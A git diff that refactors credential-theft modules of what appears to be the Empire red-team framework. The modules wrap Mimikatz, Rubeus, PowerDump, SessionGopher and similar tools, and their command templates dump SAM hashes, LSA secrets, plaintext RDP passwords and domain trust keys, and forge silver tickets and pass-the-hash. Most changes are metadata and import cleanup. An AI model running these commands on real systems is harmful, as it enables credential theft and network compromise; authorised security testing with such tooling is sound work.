@@ -1,10 +1,15 @@
name: Invoke-Mimikatz DumpCreds
authors:
- - '@JosephBialek'
- - '@gentilkiwi'
+ - name: Joseph Bialek
+ handle: '@JosephBialek'
+ link: https://twitter.com/JosephBialek
+ - name: Benjamin Delpy
+ handle: '@gentilkiwi'
+ link: https://twitter.com/gentilkiwi
description: |
Runs PowerSploit's Invoke-Mimikatz function to extract plaintext credentials from memory.
software: S0002
+tactics: []
techniques:
- T1098
- T1003
@@ -22,12 +27,12 @@ opsec_safe: true
language: powershell
min_language_version: '2'
comments:
- - 'http://clymb3r.wordpress.com/'
- - 'http://blog.gentilkiwi.com'
+ - http://clymb3r.wordpress.com/
+ - http://blog.gentilkiwi.com
options:
- name: Agent
description: Agent to run module on.
required: true
value: ''
-script_path: 'credentials/Invoke-Mimikatz.ps1'
-script_end: "Invoke-Mimikatz -DumpCreds; {{ PARAMS }}"
+script_path: credentials/Invoke-Mimikatz.ps1
+script_end: Invoke-Mimikatz -DumpCreds; {{ PARAMS }}
diff --git a/empire/server/modules/powershell/credentials/mimikatz/lsadump.py b/empire/server/modules/powershell/credentials/mimikatz/lsadump.py
index df962d631..a240a71da 100644
--- a/empire/server/modules/powershell/credentials/mimikatz/lsadump.py
+++ b/empire/server/modules/powershell/credentials/mimikatz/lsadump.py
@@ -1,12 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,14 +11,13 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -39,7 +35,7 @@ def generate(
script_end += "\"';"
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/credentials/mimikatz/lsadump.yaml b/empire/server/modules/powershell/credentials/mimikatz/lsadump.yaml
index 66bf1580c..71dd346d2 100644
--- a/empire/server/modules/powershell/credentials/mimikatz/lsadump.yaml
+++ b/empire/server/modules/powershell/credentials/mimikatz/lsadump.yaml
@@ -1,10 +1,14 @@
name: Invoke-Mimikatz LSA Dump
authors:
- - '@JosephBialek'
- - '@gentilkiwi'
-description: Runs PowerSploit's Invoke-Mimikatz function to extract a particular user
- hash from memory. Useful on domain controllers.
+ - name: Joseph Bialek
+ handle: '@JosephBialek'
+ link: https://twitter.com/JosephBialek
+ - name: Benjamin Delpy
+ handle: '@gentilkiwi'
+ link: https://twitter.com/gentilkiwi
+description: Runs PowerSploit's Invoke-Mimikatz function to extract a particular user hash from memory. Useful on domain controllers.
software: S0002
+tactics: []
techniques:
- T1098
- T1003
@@ -34,6 +38,6 @@ options:
description: Username to extract the hash for, blank for all local passwords.
required: false
value: ''
-script_path: 'credentials/Invoke-Mimikatz.ps1'
+script_path: credentials/Invoke-Mimikatz.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/credentials/mimikatz/mimitokens.py b/empire/server/modules/powershell/credentials/mimikatz/mimitokens.py
index 35f29527a..20c0ba528 100644
--- a/empire/server/modules/powershell/credentials/mimikatz/mimitokens.py
+++ b/empire/server/modules/powershell/credentials/mimikatz/mimitokens.py
@@ -1,12 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,14 +11,13 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -63,7 +59,7 @@ def generate(
script_end += "\"';"
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/credentials/mimikatz/mimitokens.yaml b/empire/server/modules/powershell/credentials/mimikatz/mimitokens.yaml
index 0ad4d8434..a9631a3d2 100644
--- a/empire/server/modules/powershell/credentials/mimikatz/mimitokens.yaml
+++ b/empire/server/modules/powershell/credentials/mimikatz/mimitokens.yaml
@@ -1,9 +1,14 @@
name: Invoke-Mimikatz Tokens
authors:
- - '@JosephBialek'
- - '@gentilkiwi'
+ - name: Joseph Bialek
+ handle: '@JosephBialek'
+ link: https://twitter.com/JosephBialek
+ - name: Benjamin Delpy
+ handle: '@gentilkiwi'
+ link: https://twitter.com/gentilkiwi
description: Runs PowerSploit's Invoke-Mimikatz function to list or enumerate tokens.
software: S0002
+tactics: []
techniques:
- T1098
- T1003
@@ -56,6 +61,6 @@ options:
description: Token ID to list/elevate the token of.
required: false
value: ''
-script_path: 'credentials/Invoke-Mimikatz.ps1'
+script_path: credentials/Invoke-Mimikatz.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/credentials/mimikatz/pth.py b/empire/server/modules/powershell/credentials/mimikatz/pth.py
index 766883bf6..1ab46a2be 100644
--- a/empire/server/modules/powershell/credentials/mimikatz/pth.py
+++ b/empire/server/modules/powershell/credentials/mimikatz/pth.py
@@ -1,28 +1,27 @@
from __future__ import print_function
-import pathlib
+import logging
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.database.models import Credential
-from empire.server.utils import data_util
+from empire.server.core.db.models import Credential
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
+log = logging.getLogger(__name__)
+
class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -34,7 +33,6 @@ def generate(
# if a credential ID is specified, try to parse
cred_id = params["CredID"]
if cred_id != "":
-
if not main_menu.credentials.is_credential_valid(cred_id):
return handle_error_message("[!] CredID is invalid!")
@@ -50,7 +48,7 @@ def generate(
params["ntlm"] = cred.password
if params["ntlm"] == "":
- print(helpers.color("[!] ntlm hash not specified"))
+ log.error("ntlm hash not specified")
# build the custom command with whatever options we want
command = "sekurlsa::pth /user:" + params["user"]
@@ -64,7 +62,7 @@ def generate(
';"`nUse credentials/token to steal the token of the created PID."'
)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/credentials/mimikatz/pth.yaml b/empire/server/modules/powershell/credentials/mimikatz/pth.yaml
index 65ba04131..dc090ac5e 100644
--- a/empire/server/modules/powershell/credentials/mimikatz/pth.yaml
+++ b/empire/server/modules/powershell/credentials/mimikatz/pth.yaml
@@ -1,11 +1,15 @@
name: Invoke-Mimikatz PTH
authors:
- - '@JosephBialek'
- - '@gentilkiwi'
-description: Runs PowerSploit's Invoke-Mimikatz function to execute sekurlsa::pth
- to create a new process. with a specific user's hash. Use credentials/tokens to
- steal the token afterwards.
+ - name: Joseph Bialek
+ handle: '@JosephBialek'
+ link: https://twitter.com/JosephBialek
+ - name: Benjamin Delpy
+ handle: '@gentilkiwi'
+ link: https://twitter.com/gentilkiwi
+description: Runs PowerSploit's Invoke-Mimikatz function to execute sekurlsa::pth to create a new process. with a specific
+ user's hash. Use credentials/tokens to steal the token afterwards.
software: S0002
+tactics: []
techniques:
- T1098
- T1003
@@ -47,6 +51,6 @@ options:
description: The NTLM hash to use.
required: false
value: ''
-script_path: 'credentials/Invoke-Mimikatz.ps1'
+script_path: credentials/Invoke-Mimikatz.ps1
advanced:
custom_generate: true
diff --git a/empire/server/modules/powershell/credentials/mimikatz/purge.yaml b/empire/server/modules/powershell/credentials/mimikatz/purge.yaml
index 0e53ab2d3..4ef84cdd0 100644
--- a/empire/server/modules/powershell/credentials/mimikatz/purge.yaml
+++ b/empire/server/modules/powershell/credentials/mimikatz/purge.yaml
@@ -1,10 +1,14 @@
name: Invoke-Mimikatz Golden Ticket
authors:
- - '@JosephBialek'
- - '@gentilkiwi'
-description: Runs PowerSploit's Invoke-Mimikatz function to purge all current kerberos
- tickets from memory.
+ - name: Joseph Bialek
+ handle: '@JosephBialek'
+ link: https://twitter.com/JosephBialek
+ - name: Benjamin Delpy
+ handle: '@gentilkiwi'
+ link: https://twitter.com/gentilkiwi
+description: Runs PowerSploit's Invoke-Mimikatz function to purge all current kerberos tickets from memory.
software: S0002
+tactics: []
techniques:
- T1098
- T1003
@@ -30,5 +34,5 @@ options:
description: Agent to run module on.
required: true
value: ''
-script_path: 'credentials/Invoke-Mimikatz.ps1'
-script_end: Invoke-Mimikatz -Command '"kerberos::purge"'
\ No newline at end of file
+script_path: credentials/Invoke-Mimikatz.ps1
+script_end: Invoke-Mimikatz -Command '"kerberos::purge"'
diff --git a/empire/server/modules/powershell/credentials/mimikatz/sam.yaml b/empire/server/modules/powershell/credentials/mimikatz/sam.yaml
index 5fb465e4e..47ec6e09c 100644
--- a/empire/server/modules/powershell/credentials/mimikatz/sam.yaml
+++ b/empire/server/modules/powershell/credentials/mimikatz/sam.yaml
@@ -1,10 +1,14 @@
name: Invoke-Mimikatz SAM dump
authors:
- - '@JosephBialek'
- - '@gentilkiwi'
-description: Runs PowerSploit's Invoke-Mimikatz function to extract hashes from the
- Security Account Managers (SAM) database.
+ - name: Joseph Bialek
+ handle: '@JosephBialek'
+ link: https://twitter.com/JosephBialek
+ - name: Benjamin Delpy
+ handle: '@gentilkiwi'
+ link: https://twitter.com/gentilkiwi
+description: Runs PowerSploit's Invoke-Mimikatz function to extract hashes from the Security Account Managers (SAM) database.
software: S0002
+tactics: []
techniques:
- T1098
- T1003
@@ -30,5 +34,5 @@ options:
description: Agent to run module on.
required: true
value: ''
-script_path: 'credentials/Invoke-Mimikatz.ps1'
-script_end: Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam" "token::revert"';
\ No newline at end of file
+script_path: credentials/Invoke-Mimikatz.ps1
+script_end: Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam" "token::revert"';
diff --git a/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py b/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py
index 6cc24c2bb..f9c9d5b59 100644
--- a/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py
+++ b/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.py
@@ -1,13 +1,11 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.database.models import Credential
-from empire.server.utils import data_util
+from empire.server.core.db.models import Credential
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -15,14 +13,13 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -34,7 +31,6 @@ def generate(
# if a credential ID is specified, try to parse
cred_id = params["CredID"]
if cred_id != "":
-
if not main_menu.credentials.is_credential_valid(cred_id):
return handle_error_message("[!] CredID is invalid!")
@@ -72,7 +68,7 @@ def generate(
script_end += " /ptt\"'"
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.yaml b/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.yaml
index 08713a77e..1b2fed891 100644
--- a/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.yaml
+++ b/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.yaml
@@ -1,10 +1,15 @@
name: Invoke-Mimikatz Silver Ticket
authors:
- - '@JosephBialek'
- - '@gentilkiwi'
-description: Runs PowerSploit's Invoke-Mimikatz function to generate a silver ticket
- for a server/service and inject it into memory.
+ - name: Joseph Bialek
+ handle: '@JosephBialek'
+ link: https://twitter.com/JosephBialek
+ - name: Benjamin Delpy
+ handle: '@gentilkiwi'
+ link: https://twitter.com/gentilkiwi
+description: Runs PowerSploit's Invoke-Mimikatz function to generate a silver ticket for a server/service and inject it into
+ memory.
software: S0002
+tactics: []
techniques:
- T1098
- T1003
@@ -66,6 +71,6 @@ options:
description: Optional comma separated group IDs for the ticket.
required: false
value: ''
-script_path: 'credentials/Invoke-Mimikatz.ps1'
+script_path: credentials/Invoke-Mimikatz.ps1
advanced:
custom_generate: true
diff --git a/empire/server/modules/powershell/credentials/mimikatz/terminal_server.yaml b/empire/server/modules/powershell/credentials/mimikatz/terminal_server.yaml
index 2b9b6af73..604b59479 100644
--- a/empire/server/modules/powershell/credentials/mimikatz/terminal_server.yaml
+++ b/empire/server/modules/powershell/credentials/mimikatz/terminal_server.yaml
@@ -1,10 +1,15 @@
name: Invoke-Mimikatz Dump Terminal Server Passwords
authors:
- - '@JosephBialek'
- - '@gentilkiwi'
+ - name: Joseph Bialek
+ handle: '@JosephBialek'
+ link: https://twitter.com/JosephBialek
+ - name: Benjamin Delpy
+ handle: '@gentilkiwi'
+ link: https://twitter.com/gentilkiwi
description: |
Runs PowerSploit's Invoke-Mimikatz function to extract plaintext RDP credentials from memory.
software: S0002
+tactics: []
techniques:
- T1003
- T1081
@@ -15,13 +20,13 @@ opsec_safe: true
language: powershell
min_language_version: '2'
comments:
- - 'https://github.com/gentilkiwi/mimikatz/releases/tag/2.2.0-20210531'
- - 'https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/'
+ - https://github.com/gentilkiwi/mimikatz/releases/tag/2.2.0-20210531
+ - https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/
options:
- name: Agent
description: Agent to run module on.
required: true
value: ''
-script_path: 'credentials/Invoke-Mimikatz.ps1'
+script_path: credentials/Invoke-Mimikatz.ps1
script_end: |
Invoke-Mimikatz -Command '"privilege::debug" "ts::logonpasswords" "exit"';
diff --git a/empire/server/modules/powershell/credentials/mimikatz/trust_keys.py b/empire/server/modules/powershell/credentials/mimikatz/trust_keys.py
index 728518424..1760ff6b3 100644
--- a/empire/server/modules/powershell/credentials/mimikatz/trust_keys.py
+++ b/empire/server/modules/powershell/credentials/mimikatz/trust_keys.py
@@ -1,12 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,14 +11,13 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -36,7 +32,7 @@ def generate(
else:
script_end += "Invoke-Mimikatz -Command '\"lsadump::trust /patch\"'"
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/credentials/mimikatz/trust_keys.yaml b/empire/server/modules/powershell/credentials/mimikatz/trust_keys.yaml
index eac4bf306..a4d1d2ae6 100644
--- a/empire/server/modules/powershell/credentials/mimikatz/trust_keys.yaml
+++ b/empire/server/modules/powershell/credentials/mimikatz/trust_keys.yaml
@@ -1,10 +1,14 @@
name: Invoke-Mimikatz TrustKeys
authors:
- - '@JosephBialek'
- - '@gentilkiwi'
-description: Runs PowerSploit's Invoke-Mimikatz function to extract domain trust keys
- from a domain controller.
+ - name: Joseph Bialek
+ handle: '@JosephBialek'
+ link: https://twitter.com/JosephBialek
+ - name: Benjamin Delpy
+ handle: '@gentilkiwi'
+ link: https://twitter.com/gentilkiwi
+description: Runs PowerSploit's Invoke-Mimikatz function to extract domain trust keys from a domain controller.
software: S0002
+tactics: []
techniques:
- T1098
- T1003
@@ -33,6 +37,6 @@ options:
description: Method to extract keys ("sekurlsa" or "lsadump")
required: true
value: lsadump
-script_path: 'credentials/Invoke-Mimikatz.ps1'
+script_path: credentials/Invoke-Mimikatz.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/credentials/powerdump.yaml b/empire/server/modules/powershell/credentials/powerdump.yaml
index b92548abf..00f39be63 100644
--- a/empire/server/modules/powershell/credentials/powerdump.yaml
+++ b/empire/server/modules/powershell/credentials/powerdump.yaml
@@ -1,13 +1,23 @@
name: Invoke-PowerDump
authors:
- - DarkOperator
- - winfang
- - Kathy Peters
- - ReL1K
- - '@Cx01N'
-description: Dumps hashes from the local system using an updated version of Posh-SecMod's
- Invoke-PowerDump.
+ - name: DarkOperator
+ handle: ''
+ link: ''
+ - name: winfang
+ handle: ''
+ link: ''
+ - name: Kathy Peters
+ handle: ''
+ link: ''
+ - name: ReL1K
+ handle: ''
+ link: ''
+ - name: Anthony Rose
+ handle: '@Cx01N'
+ link: https://twitter.com/Cx01N_
+description: Dumps hashes from the local system using an updated version of Posh-SecMod's Invoke-PowerDump.
software: ''
+tactics: []
techniques:
- T1003
background: true
@@ -28,7 +38,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: true
suggested_values:
- Out-String
@@ -36,5 +46,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'credentials/Invoke-PowerDump.ps1'
+script_path: credentials/Invoke-PowerDump.ps1
script_end: Invoke-PowerDump {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Invoke-PowerDump completed'
diff --git a/empire/server/modules/powershell/credentials/rubeus.yaml b/empire/server/modules/powershell/credentials/rubeus.yaml
index 3fc9cccc2..7a62dc89f 100644
--- a/empire/server/modules/powershell/credentials/rubeus.yaml
+++ b/empire/server/modules/powershell/credentials/rubeus.yaml
@@ -1,7 +1,11 @@
name: Invoke-Rubeus
authors:
- - '@harmj0y'
- - '@S3cur3Th1sSh1t'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+ - name: ''
+ handle: '@S3cur3Th1sSh1t'
+ link: https://twitter.com/ShitSecure
description: |
Rubeus is a C# toolset for raw Kerberos interaction and abuses.
It is heavily adapted from Benjamin Delpy's Kekeo project (CC BY-NC-SA 4.0 license)
@@ -9,6 +13,7 @@ description: |
to Benjamin and Vincent for working out the hard components of weaponization- without
their prior work this project would not exist.
software:
+tactics: []
techniques:
- T1208
- T1097
@@ -19,8 +24,8 @@ opsec_safe: true
language: powershell
min_language_version: '2'
comments:
- - 'https://github.com/GhostPack/Rubeus'
- - 'https://github.com/S3cur3Th1sSh1t/PowerSharpPack'
+ - https://github.com/GhostPack/Rubeus
+ - https://github.com/S3cur3Th1sSh1t/PowerSharpPack
options:
- name: Agent
description: Agent to run module on.
@@ -29,9 +34,9 @@ options:
- name: Command
description: Use available Rubeus commands as a one-liner.
required: false
- value: 'help'
-script_path: 'credentials/Invoke-Rubeus.ps1'
-script_end: "Invoke-Rubeus -Command \"{{ PARAMS }}\""
+ value: help
+script_path: credentials/Invoke-Rubeus.ps1
+script_end: Invoke-Rubeus -Command "{{ PARAMS }}"
advanced:
- option_format_string: "{{ VALUE }}"
- option_format_string_boolean: ""
+ option_format_string: '{{ VALUE }}'
+ option_format_string_boolean: ''
diff --git a/empire/server/modules/powershell/credentials/sessiongopher.yaml b/empire/server/modules/powershell/credentials/sessiongopher.yaml
index 7540efa7d..f1bb73202 100644
--- a/empire/server/modules/powershell/credentials/sessiongopher.yaml
+++ b/empire/server/modules/powershell/credentials/sessiongopher.yaml
@@ -1,9 +1,12 @@
name: Invoke-SessionGopher
authors:
- - '@arvanaghi, created at FireEye'
-description: Extract saved sessions & passwords for WinSCP, PuTTY, SuperPuTTY, FileZilla,
- RDP, .ppk files, .rdp files, .sdtid files
+ - name: ''
+ handle: '@arvanaghi'
+ link: ''
+description: Extract saved sessions & passwords for WinSCP, PuTTY, SuperPuTTY, FileZilla, RDP, .ppk files, .rdp files, .sdtid
+ files
software: ''
+tactics: []
techniques:
- T1081
background: false
@@ -14,7 +17,7 @@ language: powershell
min_language_version: '2'
comments:
- 'Twitter: @arvanaghi'
- - 'https://arvanaghi.com'
+ - https://arvanaghi.com
- https://github.com/fireeye/SessionGopher
options:
- name: Agent
@@ -22,13 +25,13 @@ options:
required: true
value: ''
- name: Thorough
- description: Switch. Searches entire filesystem for .ppk, .rdp, .sdtid files. Not
- recommended to use with -AllDomain due to time.
+ description: Switch. Searches entire filesystem for .ppk, .rdp, .sdtid files. Not recommended to use with -AllDomain due
+ to time.
required: false
value: ''
- name: u
- description: User account (e.g. corp.com\jerry) for when using -Target, -iL, or
- -AllDomain. If not provided, uses current security context.
+ description: User account (e.g. corp.com\jerry) for when using -Target, -iL, or -AllDomain. If not provided, uses current
+ security context.
required: false
value: ''
- name: p
@@ -44,14 +47,14 @@ options:
required: false
value: ''
- name: AllDomain
- description: Switch. Run against all computers on domain. Uses current security
- context, unless -u and -p arguments provided. Uses WMI.
+ description: Switch. Run against all computers on domain. Uses current security context, unless -u and -p arguments provided.
+ Uses WMI.
required: false
value: ''
- name: iL
- description: Provide path to a .txt file on the remote host containing hosts separated
- by newlines to run remotely against. Uses WMI.
+ description: Provide path to a .txt file on the remote host containing hosts separated by newlines to run remotely against.
+ Uses WMI.
required: false
value: ''
-script_path: 'credentials/Invoke-SessionGopher.ps1'
-script_end: "Invoke-SessionGopher {{ PARAMS }}"
\ No newline at end of file
+script_path: credentials/Invoke-SessionGopher.ps1
+script_end: Invoke-SessionGopher {{ PARAMS }}
diff --git a/empire/server/modules/powershell/credentials/sharpsecdump.yaml b/empire/server/modules/powershell/credentials/sharpsecdump.yaml
index d4013b93f..824ab467c 100644
--- a/empire/server/modules/powershell/credentials/sharpsecdump.yaml
+++ b/empire/server/modules/powershell/credentials/sharpsecdump.yaml
@@ -1,10 +1,15 @@
name: Invoke-SharpSecDump
authors:
- - '@G0ldenGunSec'
- - '@S3cur3Th1sSh1t'
-description: .Net port of the remote SAM + LSA Secrets dumping functionality of impacket's
- secretsdump.py. By default runs in the context of the current user.
+ - name: ''
+ handle: '@G0ldenGunSec'
+ link: ''
+ - name: ''
+ handle: '@S3cur3Th1sSh1t'
+ link: https://twitter.com/ShitSecure
+description: .Net port of the remote SAM + LSA Secrets dumping functionality of impacket's secretsdump.py. By default runs
+ in the context of the current user.
software: ''
+tactics: []
techniques:
- T1003
background: false
@@ -22,27 +27,24 @@ options:
value: ''
- name: Target
name_in_code: target
- description: Comma seperated list of IP''s / hostnames to scan. Please don''t include
- spaces between addresses. Can also dump hashes on the local system by setting
- target to 127.0.0.1
+ description: Comma seperated list of IP''s / hostnames to scan. Please don''t include spaces between addresses. Can also
+ dump hashes on the local system by setting target to 127.0.0.1
required: true
value: ''
- name: Username
name_in_code: u
- description: Username to use, if you want to use alternate credentials to run. Must
- use with -p and -d flags, Misc)
+ description: Username to use, if you want to use alternate credentials to run. Must use with -p and -d flags, Misc)
required: false
value: ''
- name: Password
name_in_code: p
- description: Plaintext password to use, if you want to use alternate credentials
- to run. Must use with -u and -d flags
+ description: Plaintext password to use, if you want to use alternate credentials to run. Must use with -u and -d flags
required: false
value: ''
- name: Domain
name_in_code: d
- description: Domain to use, if you want to use alternate credentials to run (. for
- local domain). Must use with -u and -p flags
+ description: Domain to use, if you want to use alternate credentials to run (. for local domain). Must use with -u and
+ -p flags
required: false
value: ''
- name: Threads
@@ -50,8 +52,8 @@ options:
description: Threads to use to concurently enumerate multiple remote hosts
required: false
value: 10
-script_path: 'credentials/Invoke-SharpSecDump.ps1'
+script_path: credentials/Invoke-SharpSecDump.ps1
script_end: Invoke-SharpSecDump -Command "{{ PARAMS }}"
advanced:
- option_format_string: "-{{ KEY }}={{ VALUE }}"
- option_format_string_boolean: "-{{ KEY }}"
+ option_format_string: -{{ KEY }}={{ VALUE }}
+ option_format_string_boolean: -{{ KEY }}
diff --git a/empire/server/modules/powershell/credentials/tokens.py b/empire/server/modules/powershell/credentials/tokens.py
index a38bde307..5ee37d408 100644
--- a/empire/server/modules/powershell/credentials/tokens.py
+++ b/empire/server/modules/powershell/credentials/tokens.py
@@ -1,12 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,14 +11,13 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -77,7 +73,7 @@ def generate(
if params["RevToSelf"].lower() != "true":
script_end += ';"`nUse credentials/tokens with RevToSelf option to revert token privileges"'
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/credentials/tokens.yaml b/empire/server/modules/powershell/credentials/tokens.yaml
index eb121b0a9..21b0e287e 100644
--- a/empire/server/modules/powershell/credentials/tokens.yaml
+++ b/empire/server/modules/powershell/credentials/tokens.yaml
@@ -1,11 +1,13 @@
name: Invoke-TokenManipulation
authors:
- - '@JosephBialek'
-description: 'Runs PowerSploit''s Invoke-TokenManipulation to enumerate Logon Tokens
- available and uses them to create new processes. Similar to Incognito''s functionality.
- Note: if you select ImpersonateUser or CreateProcess, you must specify one of Username,
- ProcessID, Process, or ThreadId.'
+ - name: Joseph Bialek
+ handle: '@JosephBialek'
+ link: https://twitter.com/JosephBialek
+description: "Runs PowerSploit's Invoke-TokenManipulation to enumerate Logon Tokens available and uses them to create new\
+ \ processes. Similar to Incognito's functionality. Note: if you select ImpersonateUser or CreateProcess, you must specify\
+ \ one of Username, ProcessID, Process, or ThreadId."
software: S0194
+tactics: []
techniques:
- T1134
background: false
@@ -30,8 +32,7 @@ options:
required: false
value: ''
- name: ImpersonateUser
- description: Switch. Will impersonate an alternate users logon token in the PowerShell
- thread.
+ description: Switch. Will impersonate an alternate users logon token in the PowerShell thread.
required: false
value: ''
- name: CreateProcess
@@ -69,7 +70,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -77,6 +78,6 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'credentials/Invoke-TokenManipulation.ps1'
+script_path: credentials/Invoke-TokenManipulation.ps1
advanced:
custom_generate: true
diff --git a/empire/server/modules/powershell/credentials/vault_credential.yaml b/empire/server/modules/powershell/credentials/vault_credential.yaml
index a86199ab3..fa54f58f7 100644
--- a/empire/server/modules/powershell/credentials/vault_credential.yaml
+++ b/empire/server/modules/powershell/credentials/vault_credential.yaml
@@ -1,9 +1,11 @@
name: Get-VaultCredential
authors:
- - '@mattifestation'
-description: Runs PowerSploit's Get-VaultCredential to display Windows vault credential
- objects including cleartext web credentials.
+ - name: Matt Graeber
+ handle: '@mattifestation'
+ link: https://twitter.com/mattifestation
+description: Runs PowerSploit's Get-VaultCredential to display Windows vault credential objects including cleartext web credentials.
software: S0194
+tactics: []
techniques:
- T1503
background: true
@@ -22,7 +24,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -30,5 +32,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'credentials/Get-VaultCredential.ps1'
+script_path: credentials/Get-VaultCredential.ps1
script_end: Get-VaultCredential | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-VaultCredentials completed'
diff --git a/empire/server/modules/powershell/exfiltration/PSRansom.py b/empire/server/modules/powershell/exfiltration/PSRansom.py
index e745384f8..480f85ab4 100644
--- a/empire/server/modules/powershell/exfiltration/PSRansom.py
+++ b/empire/server/modules/powershell/exfiltration/PSRansom.py
